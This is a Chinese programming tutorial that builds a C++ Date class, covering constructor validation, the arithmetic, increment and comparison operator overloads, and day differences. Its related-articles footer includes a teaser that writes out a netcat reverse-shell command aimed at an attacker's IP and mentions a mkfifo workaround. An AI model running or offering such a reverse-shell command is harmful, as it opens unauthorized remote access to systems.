C++自定义日期类的精彩之旅(详解)

        

        在学习了C++的6个默认成员函数后,我们现在动手实现一个完整的日期类,来加强对这6个默认成员函数的认识。
        这是日期类中所包含的成员函数和成员变量:

构造函数

// 函数:获取某年某月的天数
inline int GetMonthDay(int year, int month)
{
    // 静态数组,存储普通年份每个月的天数。注意:数组索引0未使用,实际月份从1开始
    static int dayArray[13] = { 0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
    
    // 默认情况下,直接从数组中获取对应月份的天数
    int day = dayArray[month];
    
    // 特殊情况处理:如果是二月(即month == 2),并且year是闰年
    if (month == 2 && ((year % 4 == 0 && year % 100 != 0) || (year % 400 == 0)))
    {
        // 闰年的二月有29天
        day = 29;
    }
    
    // 返回计算得到的该月天数
    return day;
}

// 类Date的构造函数,用于初始化一个日期对象
Date::Date(int year, int month, int day)
{
    // 检查传入的年、月、日是否构成一个合法的日期
    if (year >= 0    // 年份需为非负数
        && month >= 1 && month <= 12  // 月份需在1-12之间
        && day >= 1 && day <= GetMonthDay(year, month))  // 日需在1-该月最大天数之间
    {
        // 如果合法,则设置日期成员变量的值
        _year = year;
        _month = month;
        _day = day;
    }
    else
    {
        // 如果日期不合法,这里简单通过控制台输出错误信息
        // 更严谨的做法应该是抛出一个异常,让调用者来决定如何处理这个错误
        cout << "非法日期" << endl;
        cout << year << "年" << month << "月" << day << "日" << endl;
    }
}

GetMonthDay函数中的三个细节:

  • 该函数可能被多次调用,所以我们最好将其设置为内联函数。
  • 函数中存储每月天数的数组最好是用static修饰,存储在静态区,避免每次调用该函数都需要重新开辟数组。
  • 逻辑与应该先判断month == 2是否为真,因为当不是2月的时候我们不必判断是不是闰年。

注意:当函数声明和定义分开时,在声明时注明缺省参数,定义时不标出缺省参数。 

打印函数

// 打印函数
void Date::Print() const
{
	cout << _year << "年" << _month << "月" << _day << "日" << endl;
}

日期and天数

日期 += 天数

        对于+=运算符,我们先将需要加的天数加到日上面,然后判断日期是否合法,若不合法,则通过不断调整,直到日期合法为止。

调整日期的思路:

  • 若日已满,则日减去当前月的天数,月加一。
  • 若月已满,则将年加一,月置为1。
  • 反复执行1和2,直到日期合法为止。
// 重载运算符 '+=',使Date对象可以加上一个整数天数
Date& Date::operator+=(int day)
{
    // 如果要添加的天数是负数,转换成减法操作并调用operator-=,以复用已实现的逻辑
    if (day < 0)
    {
        // 通过将负数转正并调用减法操作符来实现减去天数的功能
        *this -= -day; 
    }
    else
    {
        // 直接将天数加到当前日期的天数上
        _day += day;
        
        // 确保累加后的日期是合法的,如果不是,则逐步调整至合法日期
        while (_day > GetMonthDay(_year, _month))
        {
            // 若累加后超过当月天数,从下个月的天数中继续累加
            _day -= GetMonthDay(_year, _month);
            
            // 进入下一个月
            _month++;
            
            // 如果月份超过12,则年份增加,并将月份重置为1
            if (_month > 12)
            {
                _year++;
                _month = 1;
            }
        }
    }
    
    // 返回当前对象的引用,支持链式赋值
    return *this;
}

 注意:当需要加的天数为负数时,转而调用-=运算符重载函数。

日期 + 天数

        +运算符的重载,我们可以复用上面已经实现的+=运算符的重载函数。

        但要注意:虽然我们返回的是加了之后的值,但是对象本身的值并没有改变。就像a = b + 1,b + 1的返回值是b + 1,但是b的值并没有改变。所以我们还可以用const对该函数进行修饰,防止函数内部改变了this指针指向的对象。

// 重载运算符 '+',允许Date对象与一个表示天数的整数相加,生成一个新的Date对象
Date Date::operator+(int day) const
{
    // 创建当前日期对象的一个副本tmp,避免修改原始对象的值
    Date tmp(*this); // 使用拷贝构造函数创建副本
    
    // 复用已实现的operator+=方法,将天数加到tmp上
    tmp += day; 

    // 返回累加天数后的新日期对象
    return tmp;
}

注意:+=运算符的重载函数采用的是引用返回,因为出了函数作用域,this指针指向的对象没有被销毁。但+运算符的重载函数的返回值只能是传值返回,因为出了函数作用域,对象tmp就被销毁了,不能使用引用返回。 

日期 -= 天数

        对于-=运算符,我们先用日减去需要减的天数,然后判断日期是否合法,若不合法,则通过不断调整,直到日期合法为止。

调整日期的思路:

  • 若日为负数,则月减一。
  • 若月为0,则年减一,月置为12。
  • 日加上当前月的天数。
  • 反复执行1、2和3,直到日期合法为止。
// 重载运算符 '-=', 允许Date对象减去一个表示天数的整数,并直接修改当前对象的日期
Date& Date::operator-=(int day)
{
    if (day < 0)
    {
        // 如果要减去的天数是负数,则转换为加上一个正数天数,复用operator+=方法
        *this += -day; 
    }
    else
    {
        // 直接减去天数
        _day -= day;

        // 确保日期合法性:如果_day小于等于0,需要向前调整月份乃至年份
        while (_day <= 0)
        {
            // 减少月份,若月份变为0,则同时减少年份并设置月份为12(上年的12月)
            _month--;
            if (_month == 0)
            {
                _year--;
                _month = 12;
            }

            // 根据调整后的年月获取该月的实际天数,并累加到_day中,直至_day为正数,确保日期有效
            _day += GetMonthDay(_year, _month);
        }
    }

    // 返回当前对象的引用,以便支持链式赋值
    return *this;
}

 注意:当需要减的天数为负数时,转而调用+=运算符重载函数。

日期 - 天数

        和+运算符的重载类似,我们可以复用上面已经实现的-=运算符的重载函数,而且最好用const对该函数进行修饰,防止函数内部改变了this指针指向的对象。

// 重载运算符 '-',允许Date对象减去一个表示天数的整数,并返回一个新的Date对象表示结果
Date Date::operator-(int day) const
{
    // 创建当前日期对象的一个副本tmp,以避免修改原始对象
    Date tmp(*this); // 利用拷贝构造函数创建副本

    // 复用已实现的operator-=方法,从副本tmp中减去指定的天数
    tmp -= day; 

    // 返回减去天数后的新日期对象
    return tmp;
}

注意:-=运算符的重载函数采用的是引用返回,但-运算符的重载函数的返回值只能是传值返回,也是由于-运算符重载函数中的tmp对象出了函数作用域被销毁了,所以不能使用引用返回。 

前置and后置

前置 ++

        前置++,我们可以复用+=运算符的重载函数。

// 重载前置自增运算符 '++',使Date对象自身向前推进一天并返回修改后的对象
Date& Date::operator++()
{
    // 直接复用已实现的operator+=方法,将当前日期对象增加一天
    *this += 1; 

    // 返回经过自增操作后的当前对象(即指向自身的引用)
    return *this;
}

后置 ++

        由于前置++和后置++的运算符均为++,为了区分它们的运算符重载,我们给后置++的运算符重载的参数加上一个int型参数,使用后置++时不需要给这个int参数传入实参,因为这里int参数的作用只是为了跟前置++构成重载。

// 重载后置自增运算符 '++',使Date对象自身向前推进一天,并返回自增前的日期对象
Date Date::operator++(int)
{
    // 创建当前日期对象的一个副本tmp,用于保存自增前的日期
    Date tmp(*this); // 使用拷贝构造函数创建副本

    // 复用已实现的operator+=方法,将当前日期对象增加一天
    *this += 1; 

    // 返回自增操作前的日期对象tmp
    return tmp;
}

注意:后置++也是需要返回加了之前的值,只能先用对象tmp保存之前的值,然后再然对象加一,最后返回tmp对象。由于tmp对象出了该函数作用域就被销毁了,所以后置++只能使用传值返回,而前置++可以使用引用返回。 

前置 --

        复用前面的-=运算符的重载函数。

// 重载前置自减运算符 '--',使Date对象自身向后回退一天并返回修改后的对象
Date& Date::operator--()
{
    // 直接复用已实现的operator-=方法,将当前日期对象减去一天(即向前一天)
    *this -= 1; 

    // 返回经过自减操作后的当前对象(即指向自身的引用)
    return *this;
}

后置--

// 重载后置自减运算符 '--',使Date对象自身向后回退一天,并返回回退前的日期对象
Date Date::operator--(int)
{
    // 创建当前日期对象的一个副本tmp,用来保存自减操作前的日期
    Date tmp(*this); // 利用拷贝构造函数创建副本

    // 复用已实现的operator-=方法,将当前日期对象减去一天(即向后一天)
    *this -= 1; 

    // 返回自减操作执行前的日期对象tmp
    return tmp;
}

日期类的大小关系比较

        日期类的大小关系比较需要重载的运算符看起来有6个,实际上我们只用实现两个就可以了,然后其他的通过复用这两个就可以实现。

注意:进行日期的大小比较,我们并不会改变传入对象的值,所以这6个运算符重载函数都应该被const所修饰。

>运算符的重载

        >运算符的重载很简单,先判断年是否大于,再判断月是否大于,最后判断日是否大于,这其中有一者为真则函数返回true,否则返回false。

// 重载大于比较运算符 '>', 用于比较两个Date对象的大小
bool Date::operator>(const Date& d) const
{
    // 首先比较年份,如果当前对象的年份大于参数对象的年份,则当前对象更大,返回true
    if (_year > d._year)
    {
        return true;
    }
    // 如果年份相同,则继续比较月份
    else if (_year == d._year)
    {
        // 当前对象的月份大于参数对象的月份,则当前对象更大,返回true
        if (_month > d._month)
        {
            return true;
        }
        // 如果月份也相同,则继续比较日
        else if (_month == d._month)
        {
            // 当前对象的日大于参数对象的日,则当前对象更大,返回true
            if (_day > d._day)
            {
                return true;
            }
        }
    }
    // 如果以上条件都不满足,说明当前对象不大于参数对象,返回false
    return false;
}

==运算符的重载

        ==运算符的重载也是很简单,年月日均相等,则为真。

// 重载等于比较运算符 '==', 用于判断两个Date对象是否表示相同的日期
bool Date::operator==(const Date& d) const
{
    // 同时检查年、月、日是否分别相等
    return (_year == d._year)          // 年份相等
           && (_month == d._month)     // 月份相等
           && (_day == d._day);       // 日相等
           // 所有条件都满足时,认为两个Date对象表示相同的日期,返回true
           // 否则,返回false
}

>=运算符的重载

// 重载大于等于比较运算符 '>=', 判断当前Date对象是否大于或等于另一个Date对象
bool Date::operator>=(const Date& d) const
{
    // 使用逻辑或运算符检查当前对象是否大于(使用已重载的>运算符)或等于(使用已重载的==运算符)参数对象d
    return (*this > d) || (*this == d);
    // 如果任何一个条件为真(即当前对象大于d,或者等于d),则返回true,表示当前对象大于等于d
    // 否则,返回false
}

<运算符的重载

// 重载小于比较运算符 '<', 判断当前Date对象是否小于另一个Date对象
bool Date::operator<(const Date& d) const
{
    // 通过逻辑非操作符'!'来反转大于等于运算的结果,从而判断当前对象是否小于参数对象d
    return !(*this >= d);
    // 如果当前对象不大于等于d(即不等于d也不大于d),则返回true,表示当前对象小于d
    // 否则,返回false
}

<=运算符的重载

// 重载小于等于比较运算符 '<=', 判断当前Date对象是否小于或等于另一个Date对象
bool Date::operator<=(const Date& d) const
{
    // 通过逻辑非操作符'!'来反转大于运算的结果,从而判断当前对象是否小于或等于参数对象d
    return !(*this > d);
    // 如果当前对象不大于d(即小于d或等于d),则返回true,表示当前对象小于等于d
    // 否则,返回false
}

!=运算符的重载

// 重载不等于比较运算符 '!=', 判断当前Date对象是否与另一个Date对象表示不同的日期
bool Date::operator!=(const Date& d) const
{
    // 通过逻辑非操作符'!'来反转等于运算的结果,从而判断当前对象是否不等于参数对象d
    return !(*this == d);
    // 如果当前对象不等于d(即年、月、日中有任一不同),则返回true,表示两个日期不同
    // 否则,返回false 表示两个日期相同
}

日期 - 日期

        日期 - 日期,即计算传入的两个日期相差的天数。我们只需要让较小的日期的天数一直加一,直到最后和较大的日期相等即可,这个过程中较小日期所加的总天数便是这两个日期之间差值的绝对值。若是第一个日期大于第二个日期,则返回这个差值的正值,若第一个日期小于第二个日期,则返回这个差值的负值。

// 重载减法运算符 '-', 用于计算两个Date对象之间的天数差
int Date::operator-(const Date& d) const
{
    // 初始化两个临时Date对象,假设*this为较大日期(max),d为较小日期(min)
    Date max = *this;
    Date min = d;
    
    // 初始化标记变量flag为1,表示差值预期为正
    int flag = 1;
    
    // 如果假设错误,即*this实际上小于d,则交换max和min,并将flag设为-1以表示差值应为负
    if (*this < d)
    {
        max = d;
        min = *this;
        flag = -1;
    }
    
    // 初始化计数器n用于记录累加的总天数
    int n = 0;
    
    // 当较小的日期(min)不等于较大的日期(max)时,持续累加天数
    while (min != max)
    {
        // 将较小的日期增加一天
        min++; 
        // 总天数累加
        n++;
    }
    
    // 最终返回n乘以flag,以确保正确的正负符号,即两个日期之间的实际天数差
    return n * flag;
}

        代码中使用flag变量标记返回值的正负,flag为1代表返回的是正值,flag为-1代表返回的是负值,最后返回总天数与flag相乘之后的值即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/626485.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2024精美UI小程序打印系统源码 PHP后端 附搭建教程+功能脑图

内容目录 一、详细介绍二、效果展示1.部分代码2.效果图展示 三、学习资料下载 一、详细介绍 后端安装说明&#xff1a; 测试环境&#xff1a;NginxPHP7.4MySQL5.6 PHP安装扩展&#xff1a;sg11 网站运行目录设置为&#xff1a;/public 网站伪静态规则设置为&#xff1a;think…

C++基础语法之数组

一、一维数组 在C中&#xff0c;一维数组是一系列具有相同数据类型的元素的集合。它们在内存中是连续存储的&#xff0c;可以通过索引访问每个元素。 一维数组的声明形式如下&#xff1a; 数据类型 数组名[常量表达式] 例如&#xff1a; // 声明一个能存储10个整数的数组 in…

33三个启动菜单的区别辨析与本质探索

三个启动菜单的区别辨析与本质探索 你是否傻傻分不清以下三种启动菜单的本质到底是什么&#xff1f; 有一个看起来非常古老生硬&#xff0c;蓝色大背景&#xff0c;字母丑陋&#xff1b; 还有一个看起来老气横秋&#xff0c;黑底白字&#xff0c;像极了远古时期的电脑报废的样…

CSS2(一):CSS选择器

文章目录 1、CSS基础1.1 CSS简介1.2 CSS编写位置1.2.1 行内样式1.2.2 内部样式1.2.3 外部样式1.2.4 样式优先级 1.2.5 CSS代码风格 2、CSS选择器2.1、基本选择器2.1.1 通配选择器2.1.2 元素选择器2.1.3 类选择器2.1.4 ID选择器2.1.5 总结 2.2、CSS复合选择器2.2.1 交集选择器2.…

TailwindCSS在vite项目中的安装与使用

一、Tailwind CSS工作原理 Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件和任何其他类名称模板&#xff0c;生成相应的样式&#xff0c;然后将它们写入静态 CSS 文件。它快速、灵活且可靠 — 具有零运行时间。 二、安装必要依赖 Vite创建的项目默认集成了Post…

【从零开始学习Redis | 第十一篇】快速介绍Redis持久化策略

前言&#xff1a; Redis 作为一种快速、高效的内存数据库&#xff0c;被广泛应用于缓存、消息队列、会话存储等场景。然而&#xff0c;由于其特性是基于内存的&#xff0c;一旦服务器进程退出&#xff0c;内存中的数据就会丢失。为了解决这一问题&#xff0c;Redis 提供了持久…

二叉树——初解

二叉树 树树的概念树的性质 二叉树二叉树的概念二叉树的性质二叉树的实现方式数组构建左孩子右兄弟法构建指针构建 树 树的概念 在计算机科学中&#xff0c;树&#xff08;Tree&#xff09;是一种重要的非线性数据结构&#xff0c;它由若干节点&#xff08;Node&#xff09;组…

揿针在医保上叫什么?

点击文末领取揿针的视频教程跟直播讲解 创新型皮内针&#xff08;揿针&#xff09;——医保甲类产品 皮内针&#xff08;揿针&#xff09;技术属于重点推广的中医适宜技术&#xff0c;是将特制的小型针具固定于腧穴部位的皮内或皮下做较长时间留针的一种方法&#xff0c;称“…

商家利器!手机智能无人直播实时场景,轻松解决获客难、成本高难题

​​随着互联网的飞速发展&#xff0c;直播行业正在成为一种新型的商业模式。然而&#xff0c;许多商家在进行直播带货时面临着获客困难和高成本的挑战。为了解决这些问题&#xff0c;本文将介绍一种名为"自动直播"的功能&#xff0c;并详述如何利用手机实现实时场景…

2025考研专业课、英语、数学、政治视频大全,整理全了!

考研季又到了&#xff0c;备考的小伙伴们&#xff0c;你们准备好了吗&#xff1f; 时间管理 考研是一场与时间的赛跑&#xff0c;合理安排时间&#xff0c;让复习更高效&#xff01; - 制定详细的学习计划&#xff0c;每天、每周、每月都有明确目标 - ‍♂️ 保持一定的学习…

AI日报:OpenAI全能模型GPT-4o发布;阿里推自动化视频剪辑神器;AI作品会侵权吗?调研结果...;零一万物开源Yi-1.5模型

欢迎来到【AI日报】栏目!这里是你每天探索人工智能世界的指南&#xff0c;每天我们为你呈现AI领域的热点内容&#xff0c;聚焦开发者&#xff0c;助你洞悉技术趋势、了解创新AI产品应用。 新鲜AI产品点击了解&#xff1a;https://top.aibase.com/ 1、干翻所有语音助手&#x…

2024年了,Covid19怎么发?PANoptosis程序性死亡,抓紧上车!

说在前面 大家众所周知的新冠&#xff0c;其实早在19年末&#xff0c;20年初的时候很多人都抓住了这个热点发到了好文章&#xff0c;Covid-19&#xff0c;这玩意可以做到让一个期刊从2分飙升到20分&#xff0c;且非预警期刊&#xff0c;不过现在退火了&#xff0c;今年是12.7分…

程序员就是管道工

程序是由指令和数据组成的。 指令是按照特定的顺序执行的&#xff0c;这些顺序好比水的流向。 要想让水高效地流向我们想要的地方&#xff0c;就要设计一个精良的管道系统&#xff0c;这好比算法。 剩下的就是修建管道了&#xff0c;你要知道各种管的型号、用途&#xff0c;然…

使用Nginx对网站资源进行加密访问并限制访问IP

你好呀&#xff0c;我是赵兴晨&#xff0c;文科程序员。 大家在工作中有没有遇到过这样的需求&#xff0c;新上的网站部署到生产服务器上&#xff0c;但是还没公开&#xff0c;只允许个别高层领导看。 思来想去&#xff0c;我想到了一个简单的方法&#xff0c;通过Nginx对网站…

论文解读:Self-Prompt Mechanism for Few-Shot Image Recognition

文章汇总 存在的问题 由于提示文本和图像特征之间固有的模态差异&#xff0c;常规的提示方法的性能受到限制。 动机 让视觉信息自己给自己提示 解决办法 SPM涉及到图像编码器跨空间和通道维度产生的固有语义特征的系统选择&#xff0c;从而产生自提示信息。随后&#xff…

滚珠螺杆在精密机械设备中如何维持精度要求?

滚珠螺杆在精密设备领域中的运用非常之广泛&#xff0c;具有精度高、效率高的特点。为了确保滚珠螺杆在生产设备中能够发挥最佳性能&#xff0c;我们必须从多个维度进行深入考量&#xff0c;并采取针对性的措施&#xff0c;以确保其稳定、精准地服务于现代化生产的每一个环节。…

KeyShot 2023.3 Pro for mac/win:完美融合3D渲染与动画制作

在当今数字化时代&#xff0c;视觉内容的创作和表现越来越受到重视。无论是产品设计、建筑规划&#xff0c;还是影视特效&#xff0c;都需要具备出色的3D渲染和动画制作工具来展现创意和想法。而作为业内领先的3D渲染和动画制作软件之一&#xff0c;KeyShot 2023.3 Pro在这个领…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时&#xff0c; nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误&#xff1a; 这说明此netcat不支持 -e 参数。 此时可以做如下更改&#xff1a; 使用mkfifo或mknod命令创建一个命名管道&#xff0c;然后使用cat命令读取管道中的内容&…

邓闲小——生存、生活、生命|真北写作

人生有三个层次∶生存、生活、生命。 生存就是做必须做的事。生存的模式是邓&#xff0c;是交易&#xff0c;是买卖。别人需要的东西&#xff0c;你生产出来&#xff0c;卖给他。哪怕这个东西没啥用&#xff0c;也可以卖&#xff0c;情绪也可以卖。你需要的东西&#xff0c;你花…

《Python编程从入门到实践》day28

# 昨日知识点回顾 安装Matplotlib 绘制简单的折线图 # 今日知识点学习 15.2.1 修改标签文字和线条粗细 # module backend_interagg has no attribute FigureCanvas. Did you mean: FigureCanvasAgg? # 解决办法&#xff1a;matplotlib切换图形界面显示终端TkAgg。 #…